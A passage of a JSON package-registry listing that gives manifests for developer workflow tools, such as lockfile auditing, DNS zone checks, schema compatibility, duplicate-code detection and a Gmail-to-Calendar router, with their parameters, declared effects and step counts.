feature"},{"name":"output_dir","type":"string","required":false,"default":"","description":"Optional existing absolute directory outside the analyzed project. When supplied, creates a new run-owned report directory containing report.md and receipt.json; it never changes project files."},{"name":"parallel_file_limit","type":"string","required":false,"default":"24","description":"Maximum safe repository files to inspect concurrently for supplemental evidence, from 1 to 100. Files are selected deterministically, dependency/vendor directories and symlinks are excluded, and no file content or environment value is printed. Lower limits make file-level coverage PARTIAL."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:7697b3fa59edc945897ee6b543b36758fe17c59f18187f38adf995301204ee91","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":13,"kinds":{"api":0,"shell":13,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":11,"fan_out":8,"for_each_steps":1,"complexity":13,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":13}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/sakshamsai26/feature-dependency-chain@0.2.23","reference":"sakshamsai26/feature-dependency-chain@0.2.23","uri":"https://play.modiqo.ai/sakshamsai26/feature-dependency-chain@0.2.23","manifest_uri":"https://play.modiqo.ai/sakshamsai26/feature-dependency-chain@0.2.23","name":"feature-dependency-chain","title":"feature-dependency-chain","description":"Trace local feature-name evidence across UI, routes, services, configuration, storage, and tests. Read-only: no project code execution, writes, network calls, or secret values.","owner":{"kind":"user","slug":"sakshamsai26"},"registry_organization":"sakshamsai26","tags":["developer-tools","evidence-analysis","workflow-planning","effect-write","optional-local-report-write"],"primary_domain":"domain-uncategorized","author":"Saksham","version":"0.2.23","published_at":"2026-09-05T08:40:14.504806+00:00","visibility":"public","quality_score":1,"size_bytes":8543,"license":null,"stats":{"downloads":3,"installs":0},"steps":{"count":13,"names":["risks","scope","analyze","boundary","classify","inventory","preflight","dependencies","verification","write_report","recommendations","parallel_targets","parallel_evidence"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Absolute local repository or project directory"},{"name":"context","type":"string","required":true,"description":"Relevant feature"},{"name":"output_dir","type":"string","required":false,"default":"","description":"Optional existing absolute directory outside the analyzed project. When supplied, creates a new run-owned report directory containing report.md and receipt.json; it never changes project files."},{"name":"parallel_file_limit","type":"string","required":false,"default":"24","description":"Maximum safe repository files to inspect concurrently for supplemental evidence, from 1 to 100. Files are selected deterministically, dependency/vendor directories and symlinks are excluded, and no file content or environment value is printed. Lower limits make file-level coverage PARTIAL."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:5b7dbeddb56dceaa23d13b0fed413796f832de49867a6c5fa56e5db06b48ae4c","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":13,"kinds":{"api":0,"shell":13,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":11,"fan_out":8,"for_each_steps":1,"complexity":13,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":13}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/sakshamsai26/merge-conflict-translator@0.2.23","reference":"sakshamsai26/merge-conflict-translator@0.2.23","uri":"https://play.modiqo.ai/sakshamsai26/merge-conflict-translator@0.2.23","manifest_uri":"https://play.modiqo.ai/sakshamsai26/merge-conflict-translator@0.2.23","name":"merge-conflict-translator","title":"merge-conflict-translator","description":"Explain the competing intentions in a merge-conflict block and provide a safe resolution plan without changing files. Read-only: no project code execution, writes, network calls, or secret values.","owner":{"kind":"user","slug":"sakshamsai26"},"registry_organization":"sakshamsai26","tags":["developer-tools","evidence-analysis","workflow-planning","effect-write","optional-local-report-write"],"primary_domain":"domain-uncategorized","author":"Saksham","version":"0.2.23","published_at":"2026-09-05T08:40:10.421674+00:00","visibility":"public","quality_score":1,"size_bytes":8559,"license":null,"stats":{"downloads":3,"installs":0},"steps":{"count":13,"names":["risks","scope","analyze","boundary","classify","inventory","preflight","dependencies","verification","write_report","recommendations","parallel_targets","parallel_evidence"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Absolute local repository or project directory"},{"name":"context","type":"string","required":true,"description":"Relevant feature"},{"name":"output_dir","type":"string","required":false,"default":"","description":"Optional existing absolute directory outside the analyzed project. When supplied, creates a new run-owned report directory containing report.md and receipt.json; it never changes project files."},{"name":"parallel_file_limit","type":"string","required":false,"default":"24","description":"Maximum safe repository files to inspect concurrently for supplemental evidence, from 1 to 100. Files are selected deterministically, dependency/vendor directories and symlinks are excluded, and no file content or environment value is printed. Lower limits make file-level coverage PARTIAL."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:35c523dd04c540872f27530347a900cb9b3e382f639744706ecebbbf742ae52c","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":13,"kinds":{"api":0,"shell":13,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":11,"fan_out":8,"for_each_steps":1,"complexity":13,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":13}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/sakshamsai26/pitch-claim-checker@0.2.23","reference":"sakshamsai26/pitch-claim-checker@0.2.23","uri":"https://play.modiqo.ai/sakshamsai26/pitch-claim-checker@0.2.23","manifest_uri":"https://play.modiqo.ai/sakshamsai26/pitch-claim-checker@0.2.23","name":"pitch-claim-checker","title":"pitch-claim-checker","description":"Provide a structured pitch-claim-checker plan from supplied project context, with explicit uncertainty and no external side effects.","owner":{"kind":"user","slug":"sakshamsai26"},"registry_organization":"sakshamsai26","tags":["developer-tools","evidence-analysis","workflow-planning","effect-write","optional-local-report-write"],"primary_domain":"domain-uncategorized","author":"Saksham","version":"0.2.23","published_at":"2026-09-05T08:40:03.878586+00:00","visibility":"public","quality_score":1,"size_bytes":9466,"license":null,"stats":{"downloads":3,"installs":0},"steps":{"count":10,"names":["cut","scope","boundary","classify","inventory","preflight","constraints","dependencies","verification","write_report"]},"parameters":[{"name":"idea","type":"string","required":true,"description":"Project idea and feature list."},{"name":"team","type":"string","required":true,"description":"Team size as a positive number."},{"name":"hours","type":"string","required":true,"description":"Available build hours."},{"name":"demo","type":"string","required":true,"description":"Desired demo moment."},{"name":"output_dir","type":"string","required":false,"default":"","description":"Optional existing absolute directory outside the analyzed project. When supplied, creates a new run-owned report directory containing report.md and receipt.json; it never changes project files."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:4fe3d4d66e8c70064c9ae333d660c6b00b7924c28b9772c0f610148f96804315","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":10,"kinds":{"api":0,"shell":10,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":9,"fan_out":0,"for_each_steps":0,"complexity":10,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":10}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/sakshamsai26/error-avalanche-finder@0.2.24","reference":"sakshamsai26/error-avalanche-finder@0.2.24","uri":"https://play.modiqo.ai/sakshamsai26/error-avalanche-finder@0.2.24","manifest_uri":"https://play.modiqo.ai/sakshamsai26/error-avalanche-finder@0.2.24","name":"error-avalanche-finder","title":"error-avalanche-finder","description":"Prioritize likely root errors from a supplied build or test log using local project evidence. Read-only: no project code execution, writes, network calls, or secret values.","owner":{"kind":"user","slug":"sakshamsai26"},"registry_organization":"sakshamsai26","tags":["developer-tools","evidence-analysis","workflow-planning","effect-write","optional-local-report-write"],"primary_domain":"domain-uncategorized","author":"Saksham","version":"0.2.24","published_at":"2026-09-05T08:40:00.123301+00:00","visibility":"public","quality_score":1,"size_bytes":8549,"license":null,"stats":{"downloads":3,"installs":0},"steps":{"count":13,"names":["risks","scope","analyze","boundary","classify","inventory","preflight","dependencies","verification","write_report","recommendations","parallel_targets","parallel_evidence"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Absolute local repository or project directory"},{"name":"context","type":"string","required":true,"description":"Relevant feature"},{"name":"output_dir","type":"string","required":false,"default":"","description":"Optional existing absolute directory outside the project. When supplied, creates a new run-owned report directory containing report.md and receipt.json; it never changes project files."},{"name":"parallel_file_limit","type":"string","required":false,"default":"24","description":"Maximum safe repository files to inspect concurrently for supplemental evidence, from 1 to 100. Files are selected deterministically, dependency/vendor directories and symlinks are excluded, and no file content or environment value is printed. Lower limits make file-level coverage PARTIAL."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:24a073732f6673e45aced319cc1e43260a2d3dfffd716dfe94c9a1be41899261","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":13,"kinds":{"api":0,"shell":13,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":11,"fan_out":8,"for_each_steps":1,"complexity":13,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":13}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/sakshamsai26/hackathon-handoff@0.2.23","reference":"sakshamsai26/hackathon-handoff@0.2.23","uri":"https://play.modiqo.ai/sakshamsai26/hackathon-handoff@0.2.23","manifest_uri":"https://play.modiqo.ai/sakshamsai26/hackathon-handoff@0.2.23","name":"hackathon-handoff","title":"hackathon-handoff","description":"Provide a structured hackathon-handoff plan from supplied project context, with explicit uncertainty and no external side effects.","owner":{"kind":"user","slug":"sakshamsai26"},"registry_organization":"sakshamsai26","tags":["developer-tools","evidence-analysis","workflow-planning","effect-write","optional-local-report-write"],"primary_domain":"domain-uncategorized","author":"Saksham","version":"0.2.23","published_at":"2026-09-05T08:39:58.501635+00:00","visibility":"public","quality_score":1,"size_bytes":9419,"license":null,"stats":{"downloads":3,"installs":0},"steps":{"count":9,"names":["cut","scope","boundary","classify","inventory","preflight","constraints","verification","write_report"]},"parameters":[{"name":"idea","type":"string","required":true,"description":"Project idea and feature list."},{"name":"team","type":"string","required":true,"description":"Team size as a positive number."},{"name":"hours","type":"string","required":true,"description":"Available build hours."},{"name":"demo","type":"string","required":true,"description":"Desired demo moment."},{"name":"output_dir","type":"string","required":false,"default":"","description":"Optional existing absolute directory outside the analyzed project. When supplied, creates a new run-owned report directory containing report.md and receipt.json; it never changes project files."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:d7292a94deafd2f2a53e1be4b3b8eb1c27988f05b27718e998e860087f73a2ed","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":9,"kinds":{"api":0,"shell":9,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":8,"fan_out":0,"for_each_steps":0,"complexity":9,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":9}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/himanshu-jha/lockfile-trust-chain@0.1.1","reference":"himanshu-jha/lockfile-trust-chain@0.1.1","uri":"https://play.modiqo.ai/himanshu-jha/lockfile-trust-chain@0.1.1","manifest_uri":"https://play.modiqo.ai/himanshu-jha/lockfile-trust-chain@0.1.1","name":"lockfile-trust-chain","title":"lockfile-trust-chain","description":"Audits a normalized manifest-plus-lockfile snapshot as a trust chain. Use it on every dependency PR or lockfile regeneration and again before a release cut. It rejects blank package names, versions, explicit node IDs, root resolved IDs, dependency references, and any supplied non-string or blank source coordinate before analysis. Four parallel probes check source immutability, integrity evidence, dependency closure and manifest agreement. Source checks cover mutable registry, path, URL and Git coordinates, including case-insensitive git+, git://, ssh:// and SCP-style Git sources unless pinned to a full commit. Integrity checks use algorithm-specific decoded digest lengths to find missing, weak, malformed or truncated evidence. The closure check uses iterative traversal with bounded cycle witnesses to find roots with missing transitive dependencies or unreachable entries. Manifest checks find version and source conflicts, including npm-compatible caret-zero bounds. A synthesis join reports whether the lock can anchor a repeatable install and orders repairs by severity. It reads JSON only and performs no install, fetch, write, or registry call. Run with input=evidence/lock.json or omit input for the bundled demo. Limits: package-manager-specific peer/optional/platform resolution must be normalized by the caller, signatures are evaluated only when represented, and integrity values are structurally checked rather than recomputed from package bytes.","owner":{"kind":"org","slug":"himanshu-jha"},"registry_organization":"himanshu-jha","tags":["effect-read-only","audience-build-engineers","domain-supply-chain","lockfile","dependency-integrity","reproducibility","sbom","python"],"primary_domain":"domain-supply-chain","author":"himanshu748","version":"0.1.1","published_at":"2026-09-05T05:13:23.131313+00:00","visibility":"public","quality_score":1,"size_bytes":14063,"license":"MIT","stats":{"downloads":3,"installs":0},"steps":{"count":5,"names":["synthesize_lockfile_trust","verify_integrity_coverage","reconcile_resolution_conflicts","detect_mutable_dependency_sources","prove_manifest_resolution_closure"]},"parameters":[{"name":"input","type":"string","required":false,"default":"","description":"Workspace-relative normalized manifest/lock snapshot JSON. Omit for the bundled demo; pass input=evidence/package-lock-normalized.json for fresh evidence.","example":"evidence/package-lock-normalized.json"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:63f9bbc714b1ef6d567f69fd0615120bd0943d958ac8e0f19dbabfb61c1bb036","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":0,"shell":5,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":4,"fan_out":0,"for_each_steps":0,"complexity":5,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":5}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/himanshu-jha/feature-flag-state-space@0.1.1","reference":"himanshu-jha/feature-flag-state-space@0.1.1","uri":"https://play.modiqo.ai/himanshu-jha/feature-flag-state-space@0.1.1","manifest_uri":"https://play.modiqo.ai/himanshu-jha/feature-flag-state-space@0.1.1","name":"feature-flag-state-space","title":"feature-flag-state-space","description":"Turns feature-flag definitions, call-site reads, environment defaults, interaction constraints, and test assignments into an explicit test state space. Four parallel probes detect undefined reads and fallback mismatches, drifted or missing environment defaults, expired definitions, forbidden combinations, uncovered valid states, and uncovered pairwise interactions; the join keeps contract failures separate from coverage debt. It is read-only and works from an offline JSON manifest. It does not inspect arbitrary source code or judge test assertions. The valid assignments retained for coverage reporting are capped by max_states; truncation is reported as a finding, never a complete pass.","owner":{"kind":"org","slug":"himanshu-jha"},"registry_organization":"himanshu-jha","tags":["effect-read-only","audience-software-engineers","domain-testing","feature-flags","combinatorial-testing","configuration-drift","rollout-safety"],"primary_domain":"domain-testing","author":"himanshu748","version":"0.1.1","published_at":"2026-09-05T05:10:18.581234+00:00","visibility":"public","quality_score":1,"size_bytes":9382,"license":"MIT","stats":{"downloads":3,"installs":0},"steps":{"count":5,"names":["reconcile_flag_reads","assess_feature_flag_space","inventory_flag_definitions","map_interaction_test_space","enumerate_environment_defaults"]},"parameters":[{"name":"input","type":"string","required":false,"default":"","description":"JSON definitions, environments, reads, interactions, and tests. Empty uses the packaged demo; a missing or malformed custom file is fatal.","example":"./flags-and-tests.json"},{"name":"max_states","type":"string","required":false,"default":"4096","description":"Maximum valid assignments retained for exact coverage reporting, 1 to 100000. Truncation is reported as a finding, never a complete pass.","example":"20000"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:6179ee3fa7a9aa140463979005f83b5015ea6c02d31f31960650b984a3cf56eb","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":0,"shell":5,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":4,"fan_out":0,"for_each_steps":0,"complexity":5,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":5}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/himanshu-jha/event-schema-evolution-matrix@0.1.1","reference":"himanshu-jha/event-schema-evolution-matrix@0.1.1","uri":"https://play.modiqo.ai/himanshu-jha/event-schema-evolution-matrix@0.1.1","manifest_uri":"https://play.modiqo.ai/himanshu-jha/event-schema-evolution-matrix@0.1.1","name":"event-schema-evolution-matrix","title":"event-schema-evolution-matrix","description":"Builds a four-way compatibility decision for serialized event changes in Protocol Buffers, Avro, or JSON Schema. Parallel probes validate both schema documents, prove backward and forward reads with concrete counterexample witnesses, and inspect wire or serialization hazards; synthesis labels the change backward, forward, full, or incompatible.","owner":{"kind":"org","slug":"himanshu-jha"},"registry_organization":"himanshu-jha","tags":["effect-read-only","audience-platform-engineers","domain-event-streaming","schema-evolution","protobuf","avro","json-schema","compatibility","python"],"primary_domain":"domain-event-streaming","author":"himanshu748","version":"0.1.1","published_at":"2026-09-05T05:09:56.859238+00:00","visibility":"public","quality_score":1,"size_bytes":23916,"license":"MIT","stats":{"downloads":3,"installs":0},"steps":{"count":5,"names":["validate_schema_documents","prove_forward_compatibility","prove_backward_compatibility","synthesize_compatibility_matrix","audit_wire_and_serialization_risks"]},"parameters":[{"name":"input","type":"string","required":false,"default":"","description":"Local input path, absolute or relative to the invocation directory. Pass input=path to analyze your own evidence, or omit it for the bundled adversarial demo. Analysis is read-only and deterministic, makes no network calls, and uses only the Python standard library.","example":"evidence/input.json"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:2be4ef8b8283de86e3798f57367eb164a01ab800a3e28c59f461c9afffed0bb6","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":0,"shell":5,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":4,"fan_out":0,"for_each_steps":0,"complexity":5,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":5}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/himanshu-jha/dns-zone-integrity@0.1.1","reference":"himanshu-jha/dns-zone-integrity@0.1.1","uri":"https://play.modiqo.ai/himanshu-jha/dns-zone-integrity@0.1.1","manifest_uri":"https://play.modiqo.ai/himanshu-jha/dns-zone-integrity@0.1.1","name":"dns-zone-integrity","title":"dns-zone-integrity","description":"Analyzes a normalized DNS zone snapshot as interacting RRsets and graph boundaries. Use it before every zone deployment and during DNS incident triage. Before RRsets can satisfy coverage, the input must have nonblank record owners, types and values, supported SOA/NS/MX/SRV/name-bearing RDATA shapes, and a finite ordered TTL policy. Name-bearing RDATA is resolved against the zone before semantic duplicate or conflict checks. Relative targets and equivalent absolute targets compare identically; non-name payload case remains intact. Four sibling probes check CNAME, apex, SOA and RRset conflicts, including multi-target CNAME owners. They also check dangling or cyclic in-zone targets, MX/SRV/NS targets that illegally alias through CNAME, broken delegation/glue/DS boundaries, and TTL incoherence across RRsets and alias chains. In-zone target traversal is linear, with bounded witnesses. A synthesis join produces one integrity verdict with severity-prioritized repairs. It reads JSON only, performs no DNS queries or zone changes, and writes nothing. Run with input=zones/example.json or omit input for the bundled demo. Limits: DNSSEC cryptography, live parent/recursive behavior, dynamic updates, split-horizon views, and record types not described in the input remain outside the model.","owner":{"kind":"org","slug":"himanshu-jha"},"registry_organization":"himanshu-jha","tags":["effect-read-only","audience-dns-operators","domain-dns","zone-integrity","delegation","ttl","cname","outage-prevention","python"],"primary_domain":"domain-dns","author":"himanshu748","version":"0.1.1","published_at":"2026-09-05T05:09:33.204104+00:00","visibility":"public","quality_score":1,"size_bytes":14875,"license":"MIT","stats":{"downloads":3,"installs":0},"steps":{"count":5,"names":["analyze_ttl_coherence","detect_rrset_conflicts","synthesize_zone_integrity","prove_target_graph_closure","audit_delegation_boundaries"]},"parameters":[{"name":"input","type":"string","required":false,"default":"","description":"Workspace-relative normalized zone JSON. Omit for the bundled demo; pass input=zones/example-com.json for fresh zone evidence.","example":"zones/example-com.json"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:7a5ae597a66115ecb16407d4cddf372565e7423c5e1e1d3d25b5806ad51084e0","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":0,"shell":5,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":4,"fan_out":0,"for_each_steps":0,"complexity":5,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":5}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/siiddhantt/inbox-event-router@0.3.1","reference":"siiddhantt/inbox-event-router@0.3.1","uri":"https://play.modiqo.ai/siiddhantt/inbox-event-router@0.3.1","manifest_uri":"https://play.modiqo.ai/siiddhantt/inbox-event-router@0.3.1","name":"inbox-event-router","title":"inbox-event-router","description":"Collects bounded new Gmail messages for mandatory agent classification, then safely upserts verified private Google Calendar events and reminders without duplicates.","owner":{"kind":"user","slug":"siiddhantt"},"registry_organization":"siiddhantt","tags":["typescript","gmail","google-calendar","reminders","event-triage","effect-write"],"primary_domain":"domain-uncategorized","author":"siiddhantt","version":"0.3.1","published_at":"2026-09-05T03:30:39.521217+00:00","visibility":"public","quality_score":1,"size_bytes":40655,"license":null,"stats":{"downloads":3,"installs":0},"steps":{"count":16,"names":["commit","mailbox","prepare","auth_gmail","details_new","lookup_owned","patch_events","save_pending","auth_calendar","insert_events","list_messages","lookup_nearby","details_pending","plan_operations","calendar_snapshot","validate_decisions"]},"parameters":[{"name":"mode","type":"string","required":false,"default":"collect","description":"Collect new email evidence for an agent, or apply one complete agent decision envelope.","values":["collect","apply"]},{"name":"calendar_id","type":"string","required":false,"default":"primary","description":"Google Calendar ID selected during setup."},{"name":"lookback_days","type":"integer","required":false,"default":7,"description":"First-run Gmail lookback from 1 to 30 days; later runs use the local cursor."},{"name":"decisions_json","type":"string","required":false,"default":"","description":"Schema-v1 agent decision envelope or @file:/absolute/path, required in apply mode."},{"name":"batch_size","type":"integer","required":false,"default":25,"description":"Messages per resumable page, from 1 to 100."}],"execution":{"adapters":[{"id":"modiqo/calendar","name":"calendar","version":null,"credential_status":"required"},{"id":"modiqo/gmail","name":"gmail","version":null,"credential_status":"required"},{"id":"gmail","name":"gmail","version":null,"credential_status":"required"},{"id":"calendar","name":"calendar","version":null,"credential_status":"required"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:44befa03cda0dccf66c00c142a98ffa0b2a774904ab4bb8fce28a2383246d4c1","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":16,"kinds":{"api":9,"shell":5,"browser":0,"auth":2,"other":0},"distinct_kinds":2,"depth":8,"width":4,"fan_out":8,"for_each_steps":6,"complexity":32,"apis":[{"adapter":"calendar","steps":6,"methods":["calendar.events.insert","calendar.events.list","calendar.events.patch"],"display_name":"Calendar API","host":"www.googleapis.com/calendar/v3","kind":"rest","tools":37,"fingerprint":"mcp_39UEoxu3DX9zayEgtzXN8HtJxnxy","source":"modiqo/calendar","version":"0.0.4","protocol":"google_discovery","credentials":["CALENDAR_TOKEN"]},{"adapter":"gmail","steps":5,"methods":["gmail.users.getProfile","gmail.users.messages.get","gmail.users.messages.list"],"display_name":"Gmail API","host":"gmail.googleapis.com","kind":"rest","tools":79,"fingerprint":"mcp_2kLwgdDQH7fxkyDYysCHsbCXLooH","source":"modiqo/gmail","version":"0.0.3","protocol":"google_discovery","credentials":["GMAIL_TOKEN"]}],"tools":[{"name":"deno","kind":"tool","source":"declared","count":5}],"writes":{"declared":["[object Object]","[object Object]"],"inferred":["patch_events"],"tagged":true},"read_only":false,"credentials":["CALENDAR_TOKEN","GMAIL_TOKEN"],"mcp":{"servers":2,"tools":116},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":4,"label":"messages.list · deno"}},{"id":"https://play.modiqo.ai/adnandev/copy-drift@0.1.0","reference":"adnandev/copy-drift@0.1.0","uri":"https://play.modiqo.ai/adnandev/copy-drift@0.1.0","manifest_uri":"https://play.modiqo.ai/adnandev/copy-drift@0.1.0","name":"copy-drift","title":"copy-drift","description":"Finds the Python files you copied instead of importing, and separates the copies that are still identical from the ones that have quietly stopped agreeing. On the 30-repository, 1,280-file machine this was built against it found 100 copy sets holding 242 files and 54,716 duplicated lines - lines that exist only because a file was copied. The headline case was a 291-line HTTP helper sitting in thirty-one different skill directories: thirty of them byte-identical, and one that had grown by 88 lines, which is exactly the shape of a fix that reached one copy and none of the others. Four steps, and the second one fans out: a bounded walk finds every git repository under a root, then one scanner runs per repository in parallel, then a union-find join groups the files and a report renders. Three rules decide that two files are copies and all three are exact - identical bytes, an identical parsed tree, or the same filename sharing at least one top-level definition whose own parsed body hashes the same. That last rule replaced an earlier one that matched on shared NAMES, which was wrong and provably so: it grouped twenty unrelated adapter.py files that each happened to define build and close. Files with no top-level definition are skipped, because an empty __init__.py is byte-identical in every project on earth and grouping those buries the finding under noise. Test files are excluded and only tracked files are read. The limits are printed every run: a copy renamed and edited past that overlap is invisible, so every count is a floor; DRIFTED says the code differs and never which version is right; and a vendored dependency or a generated client reads as a copy because from the outside it is one. A root with no repository, and repositories with no Python in them, each print a different INDETERMINATE rather than a zero. Read-only: it parses files, never imports or executes them, makes no network call, carries no credentials, and needs only python3 and git. The one thing it writes is its own copy-drift.json, inside the run workspace.","owner":{"kind":"user","slug":"adnandev"},"registry_organization":"adnandev","tags":["python","duplication","refactoring","code-health","static-analysis","repository-audit","maintenance","drift"],"primary_domain":"domain-uncategorized","author":"adnandev","version":"0.1.0","published_at":"2026-09-04T18:41:10.344052+00:00","visibility":"public","quality_score":1,"size_bytes":10632,"license":null,"stats":{"downloads":3,"installs":0},"steps":{"count":4,"names":["scan_repo","find_repos","group_copies","report_copies"]},"parameters":[{"name":"root","type":"string","required":false,"default":".","description":"Where to start looking for git repositories. Defaults to the current directory; pass your home directory or the folder your checkouts live in to compare projects against each other. A path that is not a directory prints INDETERMINATE rather than an empty result."},{"name":"max_depth","type":"string","required":false,"default":"6","description":"How many directory levels below root to descend while looking for repositories. A repository's own subdirectories are never walked. If the limit is reached the report says so, because a truncated scan and a small machine are different answers."},{"name":"max_repos","type":"string","required":false,"default":"40","description":"Cap on how many repositories to scan. Each one becomes its own parallel step, so this also bounds the fan-out. If the cap is hit the report says so."},{"name":"min_shared","type":"string","required":false,"default":"1","description":"How many top-level definitions two same-named files must share, hashed by their own parsed body rather than by name, before they count as edited copies of each other. Raising it makes the third rule stricter; it never affects the two exact-match rules."},{"name":"top_n","type":"string","required":false,"default":"12","description":"How many copy sets to list. Never changes a count, only how much of it you see. Pass report=all to list every set and every file in it."},{"name":"report","type":"string","required":false,"default":"findings","description":"findings lists the largest copy sets. all lists every set and every copy inside it. Neither setting changes a 